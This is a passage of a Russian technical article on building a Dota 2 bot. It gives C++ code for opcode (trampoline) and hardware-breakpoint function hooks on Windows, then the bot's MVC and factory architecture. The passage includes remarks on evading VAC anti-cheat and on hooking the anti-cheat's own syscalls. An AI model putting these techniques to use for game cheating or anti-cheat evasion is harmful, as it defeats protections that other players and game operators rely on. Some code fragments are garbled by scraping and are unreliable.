*Рисунок 9 — Использование трамплина для вызова перехваченной функции*
Дальнейшее выполнение инструкций, которых не коснулось затирание:
*Рисунок 10 — Продолжение исполнения инструкций перехваченной функции*
**Код, реализующий описанную выше идею**
```
int OpcodeHook::SetHook(void* source, void* destination) {
auto record = new HookRecord();
record->source = source;
record->destination = destination;
info->PushBack(record);
JMP_ABS pattern = {0xFF, 0x25, 0x00000000, // JMP[RIP + 6] empty
0x0000000000000000
}; // absolute address
pattern.address = (ULONG_PTR)source;
int currentLen = 0;
int redLine = sizeof(JMP_REL);
while (currentLen < redLine) {
hde64s context;
const void* pSource = (void*)((unsigned char*)source + currentLen);
hde64_disasm(pSource, &context);
memcpy((unsigned char*)record->sourceReservation + currentLen, pSource, context.len);
record->reservationLen += context.len;
currentLen += context.len;
}
int trampolineMemorySize = 2 * sizeof(JMP_ABS) + record->reservationLen;
record->pTrampoline = AllocateMemory(source, trampolineMemorySize);
pattern.address = (unsigned long long)(unsigned char*)source + record->reservationLen;
memcpy((unsigned char*)record->pTrampoline, record->sourceReservation, record->reservationLen);
int offset = record->reservationLen;
memcpy((unsigned char*)record->pTrampoline + offset, &pattern, sizeof(JMP_ABS));
pattern.address = (ULONG_PTR)destination;
ULONG_PTR relay = (ULONG_PTR)record->pTrampoline + sizeof(pattern) + record->reservationLen;
memcpy((void*)relay, &pattern, sizeof(pattern));
DWORD oldProtect = 0;
VirtualProtect(source, sizeof(JMP_REL), PAGE_EXECUTE_READWRITE, &oldProtect);
JMP_REL* pJmpRelPattern = (JMP_REL*)source;
pJmpRelPattern->opcode = 0xE9;
pJmpRelPattern->delta = (unsigned int)((LPBYTE)relay - ((LPBYTE)source + sizeof(JMP_REL)));
VirtualProtect(source, sizeof(JMP_REL), oldProtect, &oldProtect);
return SUCCESS_CODE;
}
```
**Объяснение работы функции SetHook**Создается запись, которая хранит информацию о ловушке, после запись добавляется в коллекцию. Производится обход инструкций с начала адреса source до тех пор, пока инструкция относительного прыжка не сможет быть полностью вписана (5 байт), затертые инструкции копируются в резервацию, запоминается их длина.
> Очень важный момент заключается в том, что нам нужно выделить память под трамплин и relay, в которых мы будет хранить инструкции для перенаправления потока от source к destination и адрес на эту память должен быть в пределах, на которые может себе позволить прыгнуть относительный прыжок (unsigned int).
Данный функционал реализует функция AllocateMemory.
```
void* OpcodeHook::AllocateMemory(void* origin, int size) {
const unsigned int MEMORY_RANGE = 0x40000000;
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
ULONG_PTR minAddr = (ULONG_PTR)sysInfo.lpMinimumApplicationAddress;
ULONG_PTR maxAddr = (ULONG_PTR)sysInfo.lpMaximumApplicationAddress;
ULONG_PTR castedOrigin = (ULONG_PTR)origin;
ULONG_PTR minDesired = castedOrigin - MEMORY_RANGE;
if (minDesired > minAddr && minDesired < castedOrigin)
minAddr = minDesired;
int test = sizeof(ULONG_PTR);
ULONG_PTR maxDesired = castedOrigin + MEMORY_RANGE - size;
if (maxDesired < maxAddr && maxDesired > castedOrigin)
maxAddr = maxDesired;
DWORD granularity = sysInfo.dwAllocationGranularity;
ULONG_PTR freeMemory = 0;
ULONG_PTR ptr = castedOrigin;
while (ptr >= minAddr) {
ptr = FindPrev(ptr, minAddr, granularity, size);
if (ptr == 0)
break;
LPVOID pAlloc = VirtualAlloc((LPVOID)ptr, size, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (pAlloc != 0)
return pAlloc;
}
while (ptr < maxAddr) {
ptr = FindNext(ptr, maxAddr, granularity, size);
if (ptr == 0)
break;
LPVOID pAlloc = VirtualAlloc((LPVOID)ptr, size, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (pAlloc != 0)
return pAlloc;
}
return NULL;
}
```
Идея проста — будем идти по памяти, начиная от определенного адреса (в нашем случае указателя на source) вверх и вниз, пока не найдем подходящий по размеру свободный кусок.
Вернемся к функции SetHook. В выделенную память копируем потертые байты из source и после сразу вставляем прямой прыжок на source + corrupt, чтобы продолжить выполнение с неповрежденных инструкций.
Далее идет установка указателя relay, который отвечает за перенаправление потока выполнения на destination путем прямого прыжка на адрес приемника. В конце изменяем source – выставляем права на запись в то место памяти, где находится функция и заменяем первые 5 байт на относительный прыжок, ведущий на адрес relay.
Ловушку мы установили, но ее также нужно уметь убирать. Ломать — не строить, идея простая — вернем потертые байты source, удалим запись о ловушке из коллекции, а выделенную память освободим:
```
int OpcodeHook::UnsetHook(void* source) {
auto record = GetRecordBySource(source);
DWORD oldProtect = 0;
VirtualProtect(source, sizeof(JMP_REL), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(source, record->sourceReservation, record->reservationLen);
VirtualProtect(source, sizeof(JMP_REL), oldProtect, &oldProtect);
info->Erase(record);
FreeMemory(record);
return SUCCESS_CODE;
}
```
Тестируем работу. Сразу изменим наши приемники так, чтобы они могли вызывать перехваченные функции при помощи трамплина:
```
int PresentHook(Device* device) {
auto record = hook->GetRecordBySource(ptrPresent);
pPresent pTrampoline = (pPresent)record->pTrampoline;
auto result = pTrampoline(device);
cout << "PresentHook" << endl;
return result;
}
void EndSceneHook(Device* device, int j) {
auto record = hook->GetRecordBySource(ptrEndScene);
pEndScene pTrampoline = (pEndScene)record->pTrampoline;
pTrampoline(device, 2);
cout << "EndSceneHook" << " " << j << endl;
}
```
**Тестируем, все ли мы сделали правильно, не течет ли память, все ли корректно выполняется.**
```
int main() {
while (true) {
Device* device = new Device();
device->i = 3;
unsigned long long vmt = **(unsigned long long**)&device
ptrPresent = (pPresent)(*(unsigned long long*)(vmt + 8 * 3));
ptrEndScene = (pEndScene)(*(unsigned long long*)(vmt + 8 * 4));
IScanner* scan = new ConsoleScanner();
scan->PrintMemory("Present", (unsigned char*)ptrPresent, 30);
hook = new OpcodeHook();
hook->SetHook(ptrPresent, &PresentHook);
hook->SetHook(ptrEndScene, &EndSceneHook);
device->Present();
device->EndScene(7);
device->Present();
device->EndScene(7);
device->i = 5;
ptrPresent(device);
ptrEndScene(device, 9);
hook->UnsetHook(ptrPresent);
hook->UnsetHook(ptrEndScene);
ptrPresent(device);
ptrEndScene(device, 7);
delete hook;
delete device;
}
}
```
Работает. Дополнительно проверить можно в x64dgb.
Помните, вначале я попросил вас работать в Release сборке? Теперь перейдем в Debug и запустим программу. Программа падает… Ловушка срабатывает, но попытка вызвать трамплин вызывает исключение, которое говорит, что адрес, по которому мы вызываем трамплин, совсем не на выполнение. Что мы упустили? В чем проблема Debug сборки? Запускаем и смотрим на опкод функции Present:
```
Present:
e9 f4 36 0 0 e9 df 8d 0 0 e9 aa b0 0 0 e9 75 3e 0 0 e9 80 38 0 0 e9 da 81 0 0
```
При запуске в x64dbg можно увидеть следующее.
[](https://habrastorage.org/webt/sq/ql/ea/sqqlealqgipytxtvqo65agm9ky8.png)
*Рисунок 11 — Инструкции Debug сборки*
В Debug опкод изменился, теперь компилятор добавляет относительный прыжок e9 f4 36 0. В прыжок оборачиваются все функции, включая main и точка входа в программу mainCRTStartup. Другой опкод, ну и ладно, он должен был скопироваться в трамплин, при вызове трамплина должен быть вызван этот относительный прыжок, далее прямой прыжок на неповрежденную часть source.
Тут становится понятно, что все делается как мы и реализовали, только вот относительный прыжок на то и относительный, что его выполнение от разных адресов, source и trampoline, выставляют RIP на совершенно разные значения.
По моему скромному опыту, реализация случая с относительным прыжком покрывает 99% использования. Есть еще несколько опкодов, которые следует обрабатывать отдельно. Помните, что перед тем, как ставить ловушку на функцию, следует не полениться и изучить ее. Я не буду забивать вам голову и дописывать функционал до 100 процентного варианта (опять же, по моему скромному опыту), если вам это нужно или интересно, вы можете посмотреть, как устроены такие библиотеки и конкретно какие еще случаи они проверяют — это будет легко сделать, если вы разобрались с тем, о чем тут идет речь.
Относительный прыжок действительно встречается довольно часто, поэтому я предлагаю реализовать его. Относительный прыжок состоит из опкода e9 и значения, на которое относительно текущего адреса нужно прыгнуть. Соответственно, можно просто узнать, куда нужно прыгать, и прыгнуть туда сразу из трамплина прямым прыжком. Даже если мы встретим там новый относительный прыжок — он уже будет от правильного адреса.
**Реализация установки ловушки с учетом относительного прыжка**
```
int OpcodeHook::SetHook(void* source, void* destination) {
auto record = new HookRecord();
record->source = source;
record->destination = destination;
info->PushBack(record);
JMP_ABS pattern = {0xFF, 0x25, 0x00000000, // JMP[RIP + 6] empty
0x0000000000000000
}; // address
pattern.address = (ULONG_PTR)source;
int currentLen = 0;
bool isJmpOpcode = false;
int redLine = sizeof(JMP_REL);
while (currentLen < redLine && !isJmpOpcode) {
hde64s context;
const void* pSource = (void*)((unsigned char*)source + currentLen);
hde64_disasm(pSource, &context);
if (context.opcode == 0xE9) {
ULONG_PTR ripPtr = (ULONG_PTR)pSource + context.len + (INT32)context.imm.imm32;
pattern.address = ripPtr;
isJmpOpcode = true;
}
memcpy((unsigned char*)record->sourceReservation + currentLen, pSource, context.len);
record->reservationLen += context.len;
currentLen += context.len;
}
int trampolineMemorySize = isJmpOpcode ? 2 * sizeof(JMP_ABS) : 2 * sizeof(JMP_ABS) + record->reservationLen;
record->pTrampoline = AllocateMemory(source, trampolineMemorySize);
if (!isJmpOpcode) {
pattern.address = (unsigned long long)(unsigned char*)source + record->reservationLen;
memcpy((unsigned char*)record->pTrampoline, record->sourceReservation, record->reservationLen);
}
int offset = isJmpOpcode ? 0 : record->reservationLen;
memcpy((unsigned char*)record->pTrampoline + offset, &pattern, sizeof(JMP_ABS));
pattern.address = (ULONG_PTR)destination;
ULONG_PTR relay = (ULONG_PTR)record->pTrampoline + sizeof(pattern) + record->reservationLen;
memcpy((void*)relay, &pattern, sizeof(pattern));
DWORD oldProtect = 0;
VirtualProtect(source, sizeof(JMP_REL), PAGE_EXECUTE_READWRITE, &oldProtect);
JMP_REL* pJmpRelPattern = (JMP_REL*)source;
pJmpRelPattern->opcode = 0xE9;
pJmpRelPattern->delta = (unsigned int)((LPBYTE)relay - ((LPBYTE)source + sizeof(JMP_REL)));
VirtualProtect(source, sizeof(JMP_REL), oldProtect, &oldProtect);
return SUCCESS_CODE;
}
```
Если дизассемблер возвращает информацию о том, что опкод данной команды равен e9, мы вычисляем адрес, на который нужно прыгнуть (ULONG\_PTR ripPtr = (ULONG\_PTR)pSource + context.len + (INT32)context.imm.imm32), и записываем адрес в трамплин как значение аргумента прямого прыжка.
Также замечу, что в многопоточной среде может возникнуть ситуация, когда в момент установки/снятия хука один из потоков может начать выполнять функцию, которую мы ловим — в итоге процесс упадет. Частично как с этим бороться будет рассказано в Hardware Breakpoint.
Если вам нужно проверенное средство, вам хочется быть уверенным, что ваша ловушка сработает, у вас нет своих наработок и вы не хотите изучать пролог функции — используйте готовые решения, например Microsoft предлагает свою библиотеку Detour. Я не использую такие библиотеки и пользуюсь самописным решением по ряду причин, поэтому не могу что-то посоветовать, могу лишь назвать те библиотеки, изучением которых занимался в целях открыть что-то новое и взять себе на вооружение: [PolyHook](https://github.com/stevemk14ebr/PolyHook), [MinHook](https://github.com/TsudaKageyu/minhook), [EasyHook](https://easyhook.github.io) (особенно если нужны хуки на C#).
#### 7.4.2. Hardware Breakpoint
Opcode Hook является простой и быстрой ловушкой, однако не самой эффективной. Античит может легко отследить изменение куска памяти, но Opcode Hook можно использовать применительно к самому античиту или перехвату системных вызывов (например NtSetInformationThread), которыми он пользуется. Hardware Breakpoint является ловушкой, которая не изменяет память процесса. Я видел треды на форумах, где спрашивалось, отслеживает ли VAC эту ловушку — ответы обычно неоднозначны. Лично меня VAC не банил за их использование и не сбрасывал регистры (это было чуть меньше полугода назад, возможно что-то изменилось).
> Сам я не понимаю, в чем проблема, почему VAC не затирает DR регистры и никак это не отслеживает/отслеживал, если кто-то может дать ответ на этот вопрос, я буду очень рад. Даже если за HWBP сейчас банят, если кто-то может объяснить, почему не банили столько времени, я буду рад, так как не понимаю сложности очистки регистров DR0-DR7 для каждого контекста потока.
HWBP использует специальные регистры процессора для прерывания выполнения потока. Если контекст потока содержит установленные определенным образом регистры DR0-DR7 и RIP переходит на один из четырех адресов, хранящихся в DR0-DR3, вылетает исключение, которое можно поймать, по типу исключения и состоянию контекста определить, на каком адресе управление кинуло исключение и сделать вывод — ловушка это или нет. Существенное ограничения этого подхода в том, что использовать можно только четыре функции единовременно и выставлять их необходимо для каждого потока отдельно, что приводит к неудобствам в случае, если ловушка установлена и создается новый / пересоздается старый поток, который вызывает ловушку. Это не является особым препятствием и правится перехватом функции BaseThreadInitThunk, ограничение в использование 4 ловушек лично мне не особо мешали. Если вам критично количество хуков, обратите внимание на подход PageGuard.
Итак, задача стоит та же самая — мы находимся в песочнице (проект Sandbox), необходимо перехватить методы класса Device Present и EndScene, в которых вызвать исходные методы. Мы уже имеем готовый интерфейс для ловушек — IHook, давайте разберемся с работой «железных» точек останова.
Принцип такой: есть четыре «рабочих» регистра DR0-DR3, в которые можно записать адрес, в зависимости от настройки управляющего регистра DR7 при попытке записи, чтения или выполнения по заданному адресу произойдет исключение с типом EXCEPTION\_SINGLE\_STEP, которое должно быть обработано в предварительно зарегистрированном обработчике. Можно использовать как SEH обработчик, так и VEH – будем использовать последний, так как он имеет больший приоритет.
Реализуем эту идею:
```
int HardwareBPHook::SetHook(void* source, void* destination, HANDLE* hThread,
int* reg) {
CONTEXT context;
ZeroMemory(&context, sizeof(context));
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(*hThread, &context))
return ERROR_GET_CONTEXT;
*(&context.Dr0 + *reg) = (unsigned long long)source;
context.Dr7 |= 1ULL << (2 * (*reg));
context.Dr7 |= HW_EXECUTE << ((*reg) * 4 + 16);
context.Dr7 |= HW_LENGTH << ((*reg) * 4 + 18);
if (!SetThreadContext(*hThread, &context))
return ERROR_SET_CONTEXT;
return SUCCESS_CODE;
}
```
**Что происходит в коде**Данный код получает контекст конкретного потока, при успешном получении вставляет адрес перехватываемой функции в свободный регистр, устанавливает управляющий регистр DR7. В завершении устанавливается измененный контекст.
Подробней о том, что представляет из себя DR6 и DR7, как и о подходе PageGuard могу посоветовать книгу Gray Hat Python: Python Programming for Hackers and Reverse Engineers. Вкратце, DR7 включает/отключает использование «рабочего» регистра — даже если какой-либо из регистров DR0-DR3 будет содержать адрес, но в DR7 флаг соответствующего регистра будет отключен, работать точка останова не будет. Также DR7 задает тип работы с адресом, при котором нужно кидать исключение — прочитался ли адрес, была ли произведена запись или адрес используется для выполнение инструкции (нас интересует последний вариант).
Снятие ловушки тоже довольно простое и производится через управляющий регистр DR7.
```
int HardwareBPHook::UnsetHook(void* source, HANDLE* hThread) {
CONTEXT context;
ZeroMemory(&context, sizeof(context));
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(*hThread, &context))
return ERROR_GET_CONTEXT;
for (int i = 0; i < DEBUG_REG_COUNT; i++) {
if ((unsigned long long)source == *(&context.Dr0 + i)) {
info->GetItem(i)->source = 0;
*(&context.Dr0 + i) = 0;
context.Dr7 &= ~(1ULL << (2 * i));
context.Dr7 &= ~(3 << (i * 4 + 16));
context.Dr7 &= ~(3 << (i * 4 + 18));
break;
}
}
if (!SetThreadContext(*hThread, &context))
return ERROR_SET_CONTEXT;
return SUCCESS_CODE;
}
```
Осталось разобраться с потоками — ловушка должна быть расставлена для тех потоков, которые вызывают перехватываемую функцию. Мы не будет заморачиваться на этот счет.
**Расставим ловушку для всех потоков процесса.**
```
int HardwareBPHook::SetHook(void* source, void* destination) {
THREADENTRY32 te32;
HANDLE hThread = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThread == INVALID_HANDLE_VALUE)
return ERROR_ENUM_THREAD_START;
te32.dwSize = sizeof(THREADENTRY32);
if (!Thread32First(hThread, &te32)) {
CloseHandle(hThread);
return ERROR_ENUM_THREAD_START;
}
DWORD dwOwnerPID = GetCurrentProcessId();
bool isRegDefined = false;
int freeReg = -1;
Freeze();
do {
if (te32.th32OwnerProcessID == dwOwnerPID) {
HANDLE openThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
if (!isRegDefined) {
CONTEXT context;
ZeroMemory(&context, sizeof(context));
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(openThread, &context))
return ERROR_GET_CONTEXT;
freeReg = GetFreeReg(&context.Dr7);
if (freeReg == -1)
return ERROR_GET_FREE_REG;
isRegDefined = true;
}
SetHook(source, destination, &openThread, &freeReg);
CloseHandle(openThread);
}
} while (Thread32Next(hThread, &te32));
CloseHandle(hThread);
Unfreeze();
auto record = info->GetItem(freeReg);
record->source = source;
record->destination = destination;
record->pTrampoline = source;
return SUCCESS_CODE;
}
```
Приведенный код обходит все видимые процессы и ищет текущий процесс. В найденном процессе для очередного потока получаем обработчик потока, находим один из четырех свободных регистров и устанавливаем ловушку. Стоит обратить внимание на функции Freeze и Unfreeze – это то, о чем говорилось в Opcode Hook по поводу многопоточности — они полностью останавливают выполнение потоков данного процесса (кроме текущего), чтобы не произошло ситуации, когда один из потоков заходит в перехватываемую функцию.
**Защита потоков от вызова перехватываемой функции**
```
int IHook::Freeze() {
THREADENTRY32 te32;
HANDLE hThread = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThread == INVALID_HANDLE_VALUE)
return ERROR_ENUM_THREAD_START;
te32.dwSize = sizeof(THREADENTRY32);
if (!Thread32First(hThread, &te32)) {
CloseHandle(hThread);
return ERROR_ENUM_THREAD_START;
}
DWORD dwOwnerPID = GetCurrentProcessId();
do {
if (te32.th32OwnerProcessID == dwOwnerPID &&
te32.th32ThreadID != GetCurrentThreadId()) {
HANDLE openThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
if (openThread != NULL) {
SuspendThread(openThread);
CloseHandle(openThread);
}
}
} while (Thread32Next(hThread, &te32));
CloseHandle(hThread);
return SUCCESS_CODE;
}
int IHook::Unfreeze() {
// equal
{
HANDLE openThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
if (openThread != NULL) {
ResumeThread(openThread);
CloseHandle(openThread);
}
}
// equal
return 0;
}
```
Аналогичное нужно реализовать в функции снятия ловушки.
Осталось добавить обработчик исключений VEH. Добавление и удаление производится функциями AddVectoredExceptionHandler и RemoveVectoredExceptionHandler из любого потока.
```
void HardwareBPHook::SetExceptionHandler(PVECTORED_EXCEPTION_HANDLER
pVecExcHandler) {
pException = AddVectoredExceptionHandler(1, pVecExcHandler);
}
~HardwareBPHook() {
info->Clear();
delete info;
RemoveVectoredExceptionHandler(pException);
}
```
Обработчик должен проверять тип исключения (нужен EXCEPTION\_SINGLE\_STEP), проверять соответствие адреса, на котором возникло исключение с тем, что есть в регистрах и в случае обнаружения такого адреса переставляет указатель RIP на адрес приемника. Состояние стека сохраняется, так что при дальнейшем выполнении приемника все параметры на стеке будут целы.
Реализуем описанный обработчик в песочнице:
```
LONG OnExceptionHandler(
EXCEPTION_POINTERS* exceptionPointers) {
if (exceptionPointers->ExceptionRecord->ExceptionCode !=
EXCEPTION_SINGLE_STEP)
return EXCEPTION_CONTINUE_EXECUTION;
for (int i = 0; i < DEBUG_REG_COUNT; i++) {
if (exceptionPointers->ContextRecord->Rip ==
(unsigned long long)hook->GetInfo()->GetItem(i)->source) {
exceptionPointers->ContextRecord->Rip =
(unsigned long long)hook->GetInfo()->GetItem(i)->destination;
break;
}
}
return EXCEPTION_CONTINUE_EXECUTION;
}
```
По идее все готово, запускаем программу, ожидая точно такой же работы, как у OpcodeHook.
Этого не происходит, наша программа зависает — точнее она постоянно заходит в PresentHook и в тот момент, когда должен вызываться трамплин, функция вызывается снова. Дело в том, что «железная» точка останова никуда не делась, так как при вызове трамплина (который в случае «железных» точек останова указывает на исходную функцию) мы снова тревожим тот же адрес и вызываем исключение. Решение следующее — уберем точку останова при ее обнаружении в обработчике для конкретного потока, а в нужный момент снова выставим. Местом обновления выберем момент завершения функции приемника.
Реализовано это следующим образом — в обработчике вместе со снятием точки останова добавляется отложенная команда, смыслом которой и является обновление точки останова в указанном потоке. Команда запускается в конце функции приемника.
```
IDeferredCommands* hookCommands;
int PresentHook(Device* device) {
auto record = hook->GetRecordBySource(ptrPresent);
pPresent pTrampoline = (pPresent)record->pTrampoline;
auto result = pTrampoline(device);
cout << "PresentHook" << endl;
hookCommands->Run();
return result;
}
void EndSceneHook(Device* device, int j) {
auto record = hook->GetRecordBySource(ptrEndScene);
pEndScene pTrampoline = (pEndScene)record->pTrampoline;
pTrampoline(device, 2);
cout << "EndSceneHook" << " " << j << endl;
hookCommands->Run();
}
LONG OnExceptionHandler(EXCEPTION_POINTERS* exceptionPointers) {
if (exceptionPointers->ExceptionRecord->ExceptionCode !=
EXCEPTION_SINGLE_STEP)
return EXCEPTION_CONTINUE_EXECUTION;
for (int i = 0; i < DEBUG_REG_COUNT; i++) {
if (exceptionPointers->ContextRecord->Rip ==
(unsigned long long)hook->GetInfo()->GetItem(i)->source) {
exceptionPointers->ContextRecord->Dr7 &= ~(1ULL << (2 * i));
exceptionPointers->ContextRecord->Rip =
(unsigned long long)hook->GetInfo()->GetItem(i)->destination;
IDeferredCommand* cmd = new SetD7Command(hook,
GetCurrentThreadId(), i);
hookCommands->Enqueue(cmd);
break;
}
}
return EXCEPTION_CONTINUE_EXECUTION;
}
```
**Реализация отложенных команд**
```
namespace silk_way {
class IDeferredCommand {
protected:
IDeferredCommand(silk_way::IHook* _hook) {
hook = _hook;
}
public:
virtual ~IDeferredCommand() {
hook = nullptr;
}
virtual void Run() = 0;
protected:
silk_way::IHook* hook;
};
class SetD7Command : public IDeferredCommand {
public:
SetD7Command(silk_way::IHook* _hook, unsigned long long _threadId,
int _reg) : IDeferredCommand(_hook) {
threadId = _threadId;
reg = _reg;
}
void Run() {
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
if (hThread != NULL) {
bool res = SetD7(&hThread);
CloseHandle(hThread);
}
}
private:
bool SetD7(HANDLE* hThread) {
CONTEXT context;
ZeroMemory(&context, sizeof(context));
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(*hThread, &context))
return false;
*(&context.Dr0 + reg) =
(unsigned long long)hook->GetInfo()->GetItem(reg)->source;
context.Dr7 |= 1ULL << (2 * reg);
if (!SetThreadContext(*hThread, &context))
return false;
return true;
}
private:
unsigned long long threadId;
int reg;
};
class IDeferredCommands : public silk_data::Queue,
public IDeferredCommand {
protected:
IDeferredCommands() : Queue(), IDeferredCommand(nullptr) {}
public:
virtual ~IDeferredCommands() {}
};
}
```
Представим визуально работу «железных» точек останова.
*Рисунок 12 — Начальное состояние*
Ставим ловушку, добавляем VEH обработчик, ждем, когда управление дойдет до функции-источника:
*Рисунок 13 — Стадия подготовки перехвата*
Возбуждается исключение, вызывается обработчик, который перенаправляет RIP на приемник и сбрасывает точку останова:
*Рисунок 14 — Перенаправление потока выполнения на функцию приемник*
На этом тему ловушек можно закончить, статическая библиотека silk\_way.lib готова. Из своего опыта могу сказать, что довольно часто пользуюсь OpcodeHook, VMT Hook, Forced Exception Hook (наверное, самая «геморойная» ловушка), HardwareBreakpoint и PageGuard (когда время выполнения не критично, разовые перехваты).
8. Архитектура логики
---------------------
Основа логики представлена в виде MVC (model-view-controller). Все основные сущности наследуются от интерфейса ISilkObject.
### 8.1. Модель
В библиотеке при разработке бота сначала я реализовал ECS (про данный подход можно почитать [тут](https://habr.com/ru/company/pixonic/blog/413729/) и [тут](https://habr.com/ru/company/pixonic/blog/431660/)). Когда я понял, что запуск бота с реальными игроками довольно долгое занятие, я написал симуляцию, где тестировались ml библиотеки (с трехмерной сеткой для навигации (Dota 2 как раз использует [3D сетку](https://steamcommunity.com/sharedfiles/filedetails/?id=1130128722) для навигации) и упрощенной 2D физикой для бодиблока). Когда надобность в симуляции пропала и я придумал, как и что логировать, какую информацию собирать в ходе сражения, в ECS отпала всякая необходимость и модели стали просто содержать словарь компонент (для представления примерно так, как сделано у ребят из SkyForge, [раздел «Аватары и мобы»](https://habr.com/ru/company/mailru/blog/220359/)), которые содержали, по сути, обертки над структурами из Source2Gen. Для данной статьи я не стал переносить эту реализацию в целях упрощения материала. Модель содержит Schema, в которой хранится ее описание (этот момент упрощен и в данной реализации модель не создается по схеме, схема лишь описывает ее (хранит в себе предустановленные значения, которые можно захардкодить) — это можно сравнить с хранением наполнения игры в xml/json).
Схематично устройство модели можно представить так:
[](https://habrastorage.org/webt/ci/of/ip/ciofipyg9fa-rcm0bavzy4ninb0.png)
*Рисунок 15 — Схематичное представление Модели*
Реализация в коде:
```
template
SILK\_OBJ(IModel) {
ACCESSOR(IIdentity, Id)
ACCESSOR(S, Schema)
public:
IModel(IIdentity \* id, ISchema \* schema) {
Id = id;
Schema = dynamic\_cast(schema);
components = new silk\_data::RBTree(
new StringCompareStrategy());
}
~IModel() {
delete Id;
Schema = nullptr;
components->Clear();
delete components;
}
template
T\* Get(SILK\_STRING \* key) {
return (T\*)components->Find(key);
}
private:
silk\_data::RBTree\* components;
};
```
Схема включает в себя описание конкретной модели и содержит контекст, которым может пользоваться модель.
```
class IModelSchema : public BaseSchema {
ACCESSOR(ModelContext, Context)
public:
IModelSchema(const char* type, const char* name, IContext* context) :
BaseSchema(type, name) {
Context = dynamic_cast(context);
}
~IModelSchema() {
Context = nullptr;
}
};
class ModelContext : public SilkContext {
ACCESSOR(ILogger, Logger)
ACCESSOR(IChrono, Clock)
ACCESSOR(GigaFactory, Factory)
ACCESSOR(IGameModel\*, Model)
public:
ModelContext(SILK\_GUID\* guid, ILogger\* logger, IChrono\* clock,
GigaFactory\* factory, IGameModel\*\* model) : SilkContext(guid) {
Logger = logger;
Clock = clock;
Factory = factory;
Model = model;
}
~ModelContext() {
Logger = nullptr;
Clock = nullptr;
Factory = nullptr;
Model = nullptr;
}
};
```
**Коллекция моделей и коллекция схем**
```
template
class IModelCollection : public silk\_data::Vector, public IModel ~~{
protected:
IModelCollection(IIdentity\* id, ISchema\* schema) : Vector(),
IModel(id, schema) {
auto factory = Schema->GetContext()->GetFactory();
auto guid = Schema->GetContext()->GetGuid();
foreach (Schema->Length()) {
auto itemSchema = Schema->GetItem(i);
auto item = factory->Build(itemSchema->GetType()->GetValue(),
guid->Get(), itemSchema);
PushBack(item);
}
}
public:
~IModelCollection() {
Clear();
}
T\* GetByName(const char\* name) {
foreach (Length())
if (GetItem(i)->GetSchema()->CheckName(name))
return GetItem(i);
return nullptr;
}
};~~
```
**Так к примеру выглядит интерфейс и реализация модели, которая хранит статус Рошана**
```
DEFINE_IMODEL(IRoshanStatusModel, IRoshanStatusSchema) {
VIRTUAL_COMPONENT(IStatesModel, States)
public:
virtual void Resolve() = 0;
protected:
IRoshanStatusModel(IIdentity * id, ISchema * schema) : IModel(id, schema) {}
};
DEFINE_MODEL(RoshanStatusModel, IRoshanStatusModel) {
COMPONENT(IStatesModel, States)
public :
RoshanStatusModel(IIdentity * id, ISchema* schema) : IRoshanStatusModel(
id, schema) {
auto factory = Schema->GetContext()->GetFactory();
auto guid = Schema -> GetContext() -> GetGuid();
auto statesSchema = Schema -> GetStates();
States = factory->Build(
statesSchema->GetType()->GetValue(), guid->Get(), statesSchema);
}
~RoshanStatusModel() {
delete States;
}
void Resolve() {
auto currentStateSchema = States->GetCurrent()->GetSchema();
Schema->GetContext()->GetLogger()->Log("RESOLVE\n");
foreach (currentStateSchema->GetTransitions()->Length()) {
auto transition = currentStateSchema->GetTransitions()->GetItem(i);
if (transition->GetRequirement()->Check()) {
transition->GetAction()->Make();
States->SetCurrent(States->GetByName(
transition->GetTo()->GetValue()));
break;
}
}
}
};
```
### 8.2. Представление, Состояние Представления и Контроллер
Про Представление, Состояние Представления и Контроллер особо сказать нечего, реализация схожа с Моделями. Они также состоят из схемы и контекста. Для решения задачи для Представления реализованы Canvas, ViewCollection, Label и Button, для последних двух также реализованы состояния, соответствующие состояниям, в которых находится Рошан.
**Схематическое представление Представления**[](https://habrastorage.org/webt/an/l2/_n/anl2_n7qxsihaoohxu4oa-kq2jm.png)
*Рисунок 16 — Схематичное представление Представления*
**Схематическое представление Состояния Представления**[](https://habrastorage.org/webt/zi/mz/pi/zimzpip_arq-gwgl87-lwriknmq.png)
*Рисунок 17 — Схематичное представление Состояния Представления*
### 8.3. Фабрика
Объекты создаются с использованием фабрики. Фабрики используют в качестве ключа тип интерфейса, переводя его в строку посредством typeid(T).raw\_name(). Вообще, так делать плохо, почему и как правильно можно почитать у Andrei Alexandrescu, Modern C++ Design: Generic Programming. Реализация фабрики:
```
class SilkFactory {
public:
SilkFactory() {
items = new silk_data::RBTree(
new StringCompareStrategy());
}
~SilkFactory() {
items->Clear();
delete items;
}
template
ISILK\_WAY\_OBJECT\* Build(const char\* type, Args... args) {
auto key = new SILK\_STRING(type);
auto impl = items->Find(key)->payload;
return impl->Build(args...);
}
void Register(const char\* type, IImplementator\* impl) {
auto key = new SILK\_STRING(type);
items->Insert(\*items->MakeNode(key, impl));
}
protected:
silk\_data::RBTree\* items;
};
class GigaFactory {
public:
GigaFactory() {
items = new silk\_data::RBTree(
new StringCompareStrategy());
}
~GigaFactory() {
items->Clear();
delete items;
}
template
T\* Build(const char\* concreteType, Args... args) {
auto key = new SILK\_STRING(typeid(T).raw\_name());
auto factory = items->Find(key)->payload;
return (T\*)factory->Build(concreteType, args...);
}
template
void Register(SilkFactory\* factory) {
auto key = new SILK\_STRING(typeid(T).raw\_name());
items->Insert(\*items->MakeNode(key, factory));
}
protected:
silk\_data::RBTree\* items;
};
```
Перед использованием фабрики для построения объектов нужно произвести регистрацию.
**Пример регистрации Моделей**
```
void ModelRegistrator::Register(
GigaFactory* factory) {
auto requirement = new SilkFactory();
